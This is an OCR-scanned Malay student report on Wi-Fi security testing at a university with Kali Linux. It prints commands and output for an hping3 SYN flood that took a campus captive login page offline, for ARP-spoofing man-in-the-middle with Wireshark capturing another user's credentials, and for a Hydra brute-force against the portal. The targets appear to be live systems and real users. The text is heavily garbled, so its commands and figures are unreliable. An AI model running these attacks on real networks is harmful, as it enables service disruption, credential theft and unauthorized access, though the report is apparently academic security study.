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ABSTRAK

WIFTI ialah singkatan kepada wireless fidelity merupakan sesuatu teknologi p, ran ta ayar julat dekat

untuk mengakses Internet dalam konteks isyarat radio. Walaupun teknologitangkaian a wayar ini mempunyai

banyak kebaikan tetapi rangkaian ini lebih mudah terdedah kepada se ana ketidakcukupan penggunaan
perlindungan mekanisme rangkaian tanpa wayar. Oleh itu, kaji juan untuk membantu pengguna
pa wayar. Dengan menggunakan sistem

operasi Kali Linux, sebuah perisian sumber terbuka, bebetapad iafy terhadap rangkaian tanpa wayar yang

terlibat telah dijalankan. Hasil pengujian yang telah di anjtela
panduan untuk masa hadapan. Q
1. PENYATAAN MAsxXg
Walaupun teknol gkatan tdnpa wayar ini mempunyai banyak kebaikan tetapi

rangkaian tanpa wa

Kan dan dianalisa agar dapat dijadikan

lebth mudah terdedah kepada serangan kerana keselamatan
rangkaian tanpa ini safigat rendah jika dibandingkan dengan keselamatan wayar kabel

internet dan 4 jadi risiko keselamatan yang tinggi untuk rangkaian tempatan.

tamanya berlaku disebabkan oleh medium komunikasi iaitu udara, yang

baleh dicapai dalam linkungan tindakan yang spesifik. Selain itu, ketidakcukupan penggunaan

perli an mekanisme rangkaian tanpa wayar turut menjadi faktor rangkaian ini lebih
terdedah kepada risiko (Skendzic & Kovacic 2014). Kajian ini menyedarkan pihak pengguna
tentang keteguhan keselamatan sesebuah rangkaian. Oleh itu, sangat penting untuk pengguna
mengetahui tentang langkah keselamatan yang sesuai untuk rangkaian wayar ini, bagi

memastikan keteguhan sesebuah operasi walaupun dalam kes serangan hasad.
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2. OBJEKTIF KAJIAN

1.  Menganalisis faktor yang melibatkan keselamatan penggunaan rangkaian tanpa
wayar
ii.  Mengumpulkan data yang diperoleh daripada artikel , jurnal dan lain-lain

iii.  Menjalankan beberapa pengujian ke atas rangkaian tanpa wayar

3. METODOLOGI

Metod yang digunakan untuk kajian ini ialah dengan meldKsanakan faga-fasa yang

dinyatakan seperti berikut.

4.1 FASA KAJIAN KESUSASTERAAN Q

Fasa ini memainkan peranan yang penti bolehkan pengujian berjalan
dengan sempurna. Pencarian pelbagai makluma epgujian rangkaian dan perisian
serta kajian kesusateraan sebagai maklumat g gai contoh, kriteria ketakteguhan

rangkaian tanpa wayar telah diperoleh mélaluranalisis artikel yang berkait.

L 4
4.2 FASA ANALISIS ﬁN

Fasa ini mera pencarian maklumat yang berkaitan dengan perisian yang bakal

u
digunakan dala lan Ciri-ciri perisian terbabit diselidiki agar mudah untuk

menggunakanag dalam fasa implementasi.
isis 1ni dilakukan adalah :

untuk mendapatkan maklumat tentang perisian sedia ada

II. untuk mendalami fungsi perisian yang terpilih

4.2.1 KEPERLUAN PERISIAN

Keperluan perisian merangkumi bahagian yang tidak kelihatan di dalam sistem.

Perisian yang digunakan untuk menguji rangkaian ialah sistem pengoperasian Kali Linux.
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4.2.2 KEPERLUAN PERKAKASAN

Keperluan perkakasan merangkumi bahagian yang kelihatan dan boleh disentuh oleh
pengguna. Bahagian inilah yang menghubungkan antara pengguna dan sistem. Perkakasan
yang diperlukan ialah kelajuan pemproses 2.3Ghz , Memori Capaian Rawak (RAM) 4Gb dan

penyesuai rangkaian 802.11.

43  FASA IMPLEMENTASI

Fasa ini merupakan fasa kritikal dimana ia mengetenga pelaksanadn pengujian

rangkaian berdasarkan hasil kajian daripada fasa yang sebe ini dilakukan dengan
membangunkan makmal pengujian rangkaian secara n memjalankan pengujian

rangkaian yang tertumpu di Kolej Pendeta Za’ba.

4.4  FASA ANALISIS

Fasa ini merupakan fasa me alisi§yhasil dapatan kajian dan juga menyediakan

laporan berdasarkan hasil yang tela

pakan sebuah sistem operasi keluaran Linux ditujukan untuk pengujian
maju dan pemeriksaan keselamatan. Sistem operasi ini mengandungi ratusan alat
pengujian yang ditujukan kepada pelbagai tugas yang melibatkan keselamatan maklumat
seperti Pengujian Penembusan, Penyelidikan Keselamatan, Forensik Komputer dan

Kejuruteraan Balikan.
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5.2 DOS ATTACK TERHADAP HALAMAN LOG MASUK UKM WIFI

root@idza:~# nslookup http://121.123.143.122/captive/7nbiIP=121.123.148.2135w1an=1127&reason=lin-Auth-CaptiveSiloc=554b4dimac=38: ff:36:88:81: fBGuip=18.2
B1.5.1995url=httpa3sn2Fu2Fdetectportal. firefox. coma2Fsuccess. txt&zoneName=ELLUTH2BF ZnHa2FOHT | GzqBObwh30%3D_152619786836185client mac=CB8:18:85:8C:24:1B

StartURL=http%3A%2Fa2F121.123.143.122%2Fcaptiven2Findex . phph2Fcapt iveh2Flogout&s ip=scyg. ruckuswireless. combproxy=B8SwlanName=UKM (MS SCGEssid=URKMHWiFi&d
n=scg.ruckuswireless.com
2941
2942
2043
2944
2945
2945
2947
2048
2943
[18] 2958
[11] 2951
[12] 2952
[13] 2853
[14] 2954
Done wlan=1127
Done reason=Un-Auth-Captive
Done Lloc=554bdd
Done macw3B8:ff:36:88:681:18
Done uip=18.261.5.198
Done url=https3ss2Fx2Fdetectportal. firefox. coms2Fsuccess. txt
Done zoneName=ELLUT%2BFZnH%2FOHT j GzqB0bwa30%3D_ 1526197863618
Done client mac=C8:18:85:8C:24:18
Done StartURL=httpa3As2FA2F121.123.143. 122%2Fcapt ives2Findex. phph2FcaptivesZFlogout
Done sip=scg.ruckuswireless.com
Done nrovu=A
B8.8.8.8

** server can't find http://121.123.143.122/captive/7nbiIP=121.123.148.213: NXDOMAIN

AL
[1] Exit 1 nslookup http://121.123.143.122/captive/?nbilP=121.123.148.21

Seperti laman sesawang yang lain, halaman log ai [P Address yang tersendiri

yang membolehkan maklumat daripada kepada pengguna. Perintah
‘nslookup’ dapat memberikan maklumat ress yang dikehendaki. Rajah 1
Sekiranya permintaan untuk n‘eng : ah laman sesawang itu tinggi, maka hal ini boleh
melambatkan atau memberhe pada sesebuah laman sesawang. Kedua perkara
tersebut merupakan objekti ma kepada serangan DOS (denial of service) ini. Siri serangan
DOS ini telah dijala ngah menggunakan perisian hping. Menurut rajah 2, perintah
‘hping -1 ul0 —S " telah digunakan dimana —1 mewakili jeda masa (uX wakili X
mickrosaat) u enetapkan bendera SYN, -p merujuk kepada port destinasi dan yang

terakhis,de P ress.

Metjuk zdyah 3, halaman log masuk tidak dapat diakses dalam tempoh 1:30 minit semasa
serangan sedang dijalankan berbanding dengan tempoh 5 saat apabila serangan tidak

dijalankan.
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root@idza:~# hping3 -i ul® -5 -p BB B.B.B.B
5 set, 48 headers + B data bytes
sport=88 flags=SA seq=B win=1458
sport=88 flags=SA seqeB win=1456
sport=88 flags=SA seqe=d win=1468
sport=88 flags=SA sequd win=1l466
sport=88 flags=5A seq=B win=1466
sport=88 flags=5A seq=B win=1458
sport=88 flags=5A seq=B win=1458
sport=88 flags=5A seq=B win=1458
sport=88 flags=SA seq=B win=1458
sport=88 flags=5A seqeB win=1456
sport=88 flags=SA seqeB win=14566
sport=88 flags=SA seqmB win=14566 -8 ms
sport=88 flags=SA seqmll3P winwl468 rtt=3843.1
sport=88 flags=SA sequlB37 winwl468 rtt=4968.5
sport=B8 flags=SA s win=1468 rtt=8.8 ms
sport=88 flags=SA sequd winel468 rtt=8.8 ms
sport=88 flags=SA seqmlB68 win=1468 rtt=4968.3
sport=88 flags=SA seq=d win=1468 rtt=8.0 ms
sport=88 flags=5A seq=1B866 win=1468 rtt=4068.6
sport=88 flags=5A seq=8 win=1468 rtt=8.86 ms
sport=88 flags=5A seq=1132 win=1468 rtt=3843.8
sport=88 flags=5A seq=1161 win=14668 rtt=3492.2
sport=B8 flags=SA seq=8 win=1466 rtt=B.8 ms
sport=B8 flags=5SA seq=B win=1468 rtt=8.80 ms
sport=B8 flags=SA seqmll7]l win=1468 rtt=3492.1
sport=88 flags=5A seqsd win=1466 rtt=0.8
sport=88 flags=SA seq=d win=1468 rtt=8.0 ms
sport=88 flags=5A seq=B win=1466 rtt=8.8 ms
sport=88 flags=5A seq=8 win=1468 rtt=8.8 ms
sport=88 flags=5A seq=@ win=1468 rtt=B.80 ms
sport=88 flags=SA seq=B win=1468 rtt=8.8 ms
ms
ms
me

BRRRRGBRRARE

tti=59

9
tti=59
ttl=59
ttl=59
ttl=59
tt1=59
tt1=59
tt1=59
ttl=59
ttl=59
tti=59
ttl=59
ttl=59
ttl=59
tt1=59
tt1=59
ttl=59
tt1=59 flags=5A seqs=B win=1468 rtt=8.8
ttl=59 flags=5A seq=B win=14568 rtt=8.8
111250 i =F A con=f win=l4FA rtt=h A

EE R R R R e e

O UKM WiFi

\d Login to network

rootiidza: ~
121.123.143.12% =

B Most Visitedw [lOffensive Security " Kali Linux " Kali Docs ™, Kali Tools & Exp

L This network may require you to login to use the intemet

0\

Rajah 3 : Halaman log masuk semasa serangan DOS sedang dijalankan

5.3 SERANGAN MAN-IN-THE-MIDDLE

Man-in-the-middle adalah salah satu bentuk serangan yang membolehkan
penyerang mendapatkan maklumat daripada pihak mangsa tanpa disedari.
Serangan ini dilakukan ke atas rangkaian dengan hanya mengenalpasti [P Address

mangsa dan default gateway rangkaian tersebut.
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Applications = Places =[] Terminal « Mon 05:08

default gateway dan ‘nmap’ akan me
rangkaian komputer. Perisian Etterc

berada di dalam lingkungan subnet yan

ettercap 0.8.2 e @
Start Targets Hosts View o8ging Plugins Info
Host List x
IP Address Address Description
10.201.0.1 CC:46:D6:38:19:73
10.201.0.2 2:54:00:27:5B:15
10.201.0. :77:81:BB:0A:B5

68:05:71:F9:08:57
4C:8D:79:E2:DE:4A
44:D9:E7:B6:68:2A  leikaaa.local
CC:2D:83:0C:DA:80
48:5A:B6:DA:E9:C1

10.201.0.241 FC:2D:5E:B6:96:B5

Delete Host Add to Target 1 Add to Target 2

DHCP: [08:3E:8E:C1:CB:65] REQUEST 10.201.24.255
DHCP: [08:23:B2:E6:3E:76] REQUEST 10.201.54.85
DHCP: [9C:FC:01:95:5D:FB] REQUEST 10.201.53.194
DHCP: [8C:29:37:2D:C0:85] REQUEST 10.201.56.60
DHCP: [88:70:8C:A4:04:A3] REQUEST 10.201.19.211

Rajah 5 : Senarai IP Address mangsa
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Setelah IP Address mangsa dan default gateway telah dikenal pasti, perintah ‘arpspoof
—1 wlan0 -t 10.201.0.8 —r 10.201.0.2 * dimana —i merujuk kepada antara muka tanpa
wayar , -t mewakili [P Address mangsa dan —r mewakili default gateway.

Dalam rajah 7, aliran trafik mangsa dipantau menggunakan perisian Wireshark. Risiko
ini sangat tinggi apabila mangsa melayari laman sesawang yang mempunyai
keselamatan yang rendah seperti laman sesawang yang bukan dilabel https. Seperti
yang terdapat di rajah 8, penyerang boleh melihat username dan passwordimangsa

s€cara terangan.

[1]+ Stopped arpspoof -i wlan® -t 18.201.6.8 -r 16.201.8.1
root@xdza‘-& arpspoof -i wlan® -t 18.201.08.8 -r 16.2081.8.1

- 24: :0:0:0:0:0 BBO6 42: arp reply 10.201.8.1 is-at c@:18:
:19:73 8BO6 42: arp reply 18.281.68.8 is-at
6B06 42: arp reply 16.201.8.1 is-at c@:18:
:19:73 6 42: arp reply 18.281.8.8B is-at :
6BB6 42: arp reply 18.201.8.1 is-at c@:18:
:19:73 8BO6 42: arp reply 18.281.68.8 is-at
0B06 42: arp reply 16.201.8.1 is-at c@:18:
:19:73 0866 42: arp reply 16.201.8.8 is
68806 42: arp reply 16.201.8.1 is-at ced:18:
:19:73 BBE6 42: arp reply 18.281.°.8 is-a
6886 42: arp reply 18.201.8.1 is-at c8:1¢
:19:73 6BE6 42: arp reply 10.281.9.8 is-at
6886 42: arp reply 16.201.8.1 is-at c8:18:8¢
:19:73 8866 42: arp reply 18.281.0.8 -at
BBB6 42: arp reply 18.201.9.1 is-at co:18:
:19:73 8BO6 42: arp reply 10.281.8.8 is-at
0886 42: arp reply 18.201.4.1 is-at c0:18:
:19:73 8886 42: arp reply 10.2e1.9.8 is-at
0886 42: arp reply 19.261.0.1 is cB:18:
19:73 BBE6 42: ar sply 1€.791.8.8 is-at
8886 42: arp reply 19.201.8.1 is-at c@:18:
:19:73 0866 42: arp reply 10.201.0.8 is-at
0886 42: arp reply 18.201.8.1 is-at c@:18:
:19:73 0866 42: arp reply 16.201.0.8 is-at
88ec 42: arp reply ’81.8.1 is-at c8:18:
:19:73 PBE6 42: arp reply .281.8.8 is-at
B8RS 42: arp ol .201.8. -at cB:18:
-12 j3 ABEF A2- arn . AR is-at

File Edit s Telephony Wireless Tools Help

* J ke T @ 8 q it
*| Expression._. +
Destination Protocel Length Info *
224.0.0.251 MDNS 367 Standard query response 8x0008 TXT PTR Adilah\3421200\231s MacBo
Broadcast ARP 42 who has 10.201.191.767 Tell 16.261.5.199
HonHaiPr_ Broadcast ARF 42 Who has 16.201.129.1257 Tell 19.261.5.199
0260264 HonHaiPr Broadcast ARP 42 Who has 10.201.226.1967 Tell 10.201.5.199
1T999ENT" 930437395  HonHaiPr Broadcast ARP 42 Who has 16.201.181.1877 Tell 18.261.5.199
13998 70.940645259 HonHaiPr Broadcast ARP 42 Who has 10.201.98.1957 Tell 16.201.5.199
13999 70.950832329 HonHaiPr Broadcast ARF 42 Who has 16.201.59.1587 Tell 10.201
14000 70.960986689 HonHaiPr Broadcast ARP 42 Who has 10.201.78.1847 Tell 18.201
14691 971118985 HonHaiPr Broadcast ARP 42 Who has 16.261.94.1467 Tell 18.201.5.
14002 1264968  HonHaiPr Broadcast ARP 42 Who has 10.201.75.247 Tell 18.201.5 199
14063 76.991472615 HonHaiPr Broadcast ARP 42 Who has 16.201.49.987 Tell 18.201.
14004 71.001696349 HonHaiPr Broadcast ARP 42 who has 10.201.29.1877 Tell
14965 71.811895795 HonHaiPr_ Broadcast ARP 42 Who has 16.261.28,1537 Tell
14006 71.022071940  HonHaiPr Broadcast ARP 42 Who has 10.201.166.827 Tell
14067 71.0932206369 HonHaiPr Broadcast ARP 42 Who has 18.201.35.1837 Tell
14068 71.042424478 HonHaiPr Broadcast ARP 42 Who has 10.201.2 77 Tell
14 2680470 HonHaiPr Broadcast ARP 42 Who has 16.261.26.1777 Tell 1B
14010 71.062619604 HonHaiPr Broadcast ARP 42 Who has 16.201.197.1007 Tell 10.201.5.199
14811 71.972978553 HonMaiPr Broadcast ARP 42 Who has 10.201.182.1717 Tell 10.201.5.199
14812 71.083156028 HonHaiPr Broadcast ARP 42 Who has 10.201.179.1157 Tell 10.201.5.199
14013 71693320029  HonHaiPr Broadcast ARP 42 Who has 16.201.193.1367 Tell 18.201.5.199
Broadeast AP 42 Who has 10.201.91.867 Tell 10.201.5.1988

1-501-1 '-‘1 183491366 HO’!H.!]PY

» Frame 1-11-16 42 b\ftcs on wire (336 bits), a2 bvtcs anLured (336 bits) on interface 8
¢ Ethernet IT, Src: HonHaiPr _8c:24:1b (c@:18:85:8c:24:1b), Dst: Broadcast (ff:ff:ff:fr:fr:fr)
+ Address Resolution Protocol (request)

ff ff ff ff ff ff cO 18 85 Oc 24 1b 68 86 80 @1
B8 00 66 84 00 01 cO 168 85 Bc 24 1b Ba c9 @5 c7
@9 99 00 98 B9 B8 6a c® Tb da

@ 7 wireshark_wian0_20180514043407_X0b1XM Packets: 14308 - Displayed: 14308 (100.0%) Profile: Default

Rajah 7 : Aliran trafik semasa arpspoof dijalankan
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ol B -

*wland

Fle Edt View Go g

AE S ® D

Wireshark - Follow TCP Stream (tcp.stream eq 10) - wireshark_wlan0_20180514045428_UQ0EVa © © @

Content-Length: 99

B ot &g 10 4 ftpserver=Llrgs.ftsm.ukm.my& e s e L Er I PP LD [VA | ogin=Logindstate=browsefistate2=m [.— B -] Expression..  +
No. Time ainHTTP/1.1 208 OK ” -
541 10.4060z09) |DAL®: Sun, 13 May 26818 28:54:58 GHT 6 Len=1468 [TCP segmen..

643 19. 4603800 Server: Apache/2.4.16 (Win32) OpenSSL/1.0.1p PHR/5.5.28 lo Len=1460 [TCP segmen..

645 19.4710883] | X-Powered-By: PHP/S.5.28 o Len=1460 [TCP segmen

946 25 2511940 EXPires: Thu, 19 Nov 1981 88:52:00 GMT

fin=64248 Len=8
in=64248 Len=1460 [TCP ..
fn=0 M55=1468

647 194727892 Cache-Control: no-store, no-cache, must-revalidate, post-check=8, pre-check=9

626 19.3719373| Pragma: no-cache

697 1962356301 Set-Cookie: net2ftpcookie ftpserver=lrgs.ftsm.ukm.my; expires=Tue, 12-Jun-2818 28:54:58 GMT;
781 19.6276868{ aX-AQe"2592000

783 196343272 Set-Cookie: net2ftpcookie ftpserverport=21; expires=Tue, 12-Jun-2818 20:54:58 GMT; Max-

765 19.6352457) |Age=2592008 -
787 19.6371541 packet 630, 6 ciient phts, 35 server phts, 11 tums. Click to select
789 19. 6376590
654 19,5352801] | Entire conversation (44 kB) - Show and save data as | ASCII - Stream | 10

<! [Pskin=shinra HIZP/1.1
678 19,.5489531 ———— jow_ads=no HTTY 4
731 19.7105548] Find: | Find Next | fng wrTR/1.1
741 19, 7490877)
651 19, 4858451 BHelp Filter Out This Stream Print Save as... Back x Close
668 19. 54881371 v
629 19.376420658  16.201.5.199 163.219.237.26 HTTP. 646 POST /ftpfindex.php HTTP/1.1 (application/x-> -em-urlenc ‘ed)

= Frame 629: 646 bytes on wire (5168 bits), 646 bytes captured (5168 bits) on interface @
» Interface id: 8 (wland)

Encapsulation type: Ethernet (1)

Arrival Time: May 14, 2018 84:54:47.860039048 +08

[Time shift for this packet: ©.000000008 seconds]

Epoch Time: 1526244887.8608039048 seconds

cc 46 d6 38 19 73 cO 18 85 Gc 24 1b 08 00 45 60  .F.8.5.. ..5...E.
62 78 76 fd 46 60 40 86 Sb fd Ga c8 85 c7 67 db  .xv.@.8. [.....0.
ed 1a c7 36 60 50 4a 7f f4 2e ae 77 b6 85 50 18 ...6.PJ). ...w..P.
72 18 d4 1b 98 @@ S0 4f 53 54 28 2f 66 74 70 2f Fasnws PO ST /ftp/
@ 7 Time shift applied to this packet (frame.offset_shift) P

Rajah 8 : Username dan password yangd dihidu Wi ark

23j8hue2efllocrm1v0" -w 10 —V’ telah digunakan dimana —1 mewakili

username -P senarai kata laluan diikuti dengan destinasi folder , IP Address laman
tersebut, jenis GET/POST , index,php yang mewakili destinasi setelah laman
dimasuki data, "USER*&"PASS" bagi Hydra mencuba senarai user atau password
yang telah disediakan. Dengan data yang telah dberikan, akhirnya, kata laluan pelajar
ditemui. Namun begitu, di dalam kajian ini, hasilnya merupakan hasil ‘false positive’

kerana kata laluan yang berjaya ditemui tidak begitu tepat.



PTA-FTSM-2018-027

ed as an internal or external command.
tch file.

File Edit Wiew ch Terminal Help

Hydra (http://www.thc.org/thc-hydra) finished at 2818-85-12 84:31:5

root@idza:~# hydra -1 A153819 -P /root/Desktop/psdlist.txt 121.123,143.122 http-post-form /captive/index.php:username="USER"Spassword="PAS5~:C=ci ses|
sion=iuGcagelbeomn23 jBhueefllocrmlve” -w 18 -V

Hydra vB.6 (c) 20817 by van Hauser/THC - Please do not use in secrel service organizations, er for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2818-85
[DATA] max 16 tasks per 1 server, overall 16 tasks, 63 login t :63), ~4 tries per task

[DATA] attacking http-post-form://121.123.143.122:88// captive/ index.php:username="USER"&password="PAS5":C=ci session=iuGcagelbeomn23jBhueZefllocrmlve
[ATTEMPT] target 121.123.143.122 - login “A153819" s "A153909% - 1 of 63 [child 8] (8/8)

[ATTEMPT] target 121.123.143.122 - login "Al53819"° - pass "A153829° - 2 of 63 [child 1] (8/8)

[ATTEMPT] target 121.123.143.122 - login "Al53819" - pass "A153898* - 3 of 63 [child 2] (8/8)

[ATTEMPT] target 121.123.143.122 - login "A153819" - pass " ih: 1 7 Ll [child 3] (B8/8)

[ATTEMPT] target 121.123.143.122 - login "A153810" - pass "A153976" - [child 4] (B/8)

[ATTEMPT] target 121.123.143.122 - login "A153818" 255 "A153805% - [child 5] (8/8)

[ATTEMPT] target 121.123.143. log "Al53B19" - pass "Al530504° - [child 6] (B8/8)

[ATTEMPT] target 121.123.143.122 - login "Al5381 pass - [child 7] (8/8)

[ATTEMPT] target 121.123.143.122 - lu "Al5381% pass - [child B8] (0/8)

[ATTEMPT] target 121.123.143. login “Al53819" - pass - [child 9] (8/8)
[ATTEMPT] target 121.123.143. login "A153819" - pass “Al53898° - [child 18] (8/8)

(R ENE- BT W]

[ATTEMPT] target 121.123.143.122 ogin “Al153819" - pass “Al53B89° [child 11] (8/8)
[ATTEMPT] target 121.123.143.122 gin "Al53819" - pass "Al53BEB" [child 12] (8/8)
target .123.145. - login "Al53819" - pass "Al53B87" [child 13] (8/8)
target 123.143.122 n "Al53819" - pass "Al53886° [child 14] (8/8)
target 171.123.143.122 - login "Al53819" - pass "A153885" - [ehild 15] (8/8)
121.123.143.172 login: A153819 password: Al53894
121.123.143.722 login: A153819 password: A153898
: 121.123.143.122 login: A153819 password: Al538592
[88] [http- =" : 121.123.143.122 login: A153B19 password: Al53898
[B8] [hitp-posi : 121.123.143.122 login: A153B819 password: Al53881
[80] [ht tp-post-fo 121.123.143.122 login: A153819 password: A153888
p-post-form| host: 171.123.143.122 login: A153819 password: A153885
rget successfully completed, 7 valid passwords found
=/ fwetw. the.org/the-hydra) finished at 2818-85-12 85:18:48
a -1 A153819 -P /root/Desktop/psdlist.txt 121.123.143.122 http-form "/captive/index.php:username="USER"&password="PAS5":C=ci_sessions
iuGcage lbeoan23jBhueZefllocrmlve” -w 18 -V
van Hauser/THC - Please do not use in military or secret service organizations, or for illegal

Rajah 10 : Kata laluan yang ditemui
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6. KESIMPULAN

Secara kesimpulannya, didapati bahawa keselamatan rangkaian yang telah dilakukan
pengujian ke atas nya mempunyai keselamatan yang rendah kerana beberapa serangan berjaya
dilakukan. Serangan-serangan ini dapat dielakkan jika dikesan terlebih dahulu dan dapat
mengimplimentasikan kaedah yang bersesuaian untuk mencegah serangan tersebut. Namun
begitu, segala keteguhan keselamatan rangkaian ini harus dipuji dan perlu dikekalkan prestasi
yang baik itu. Selain itu, kelebihan dan kekurangan kajian ini dinyatakan agar boleh ikan

iktibar kepada pengguna laporan ini.
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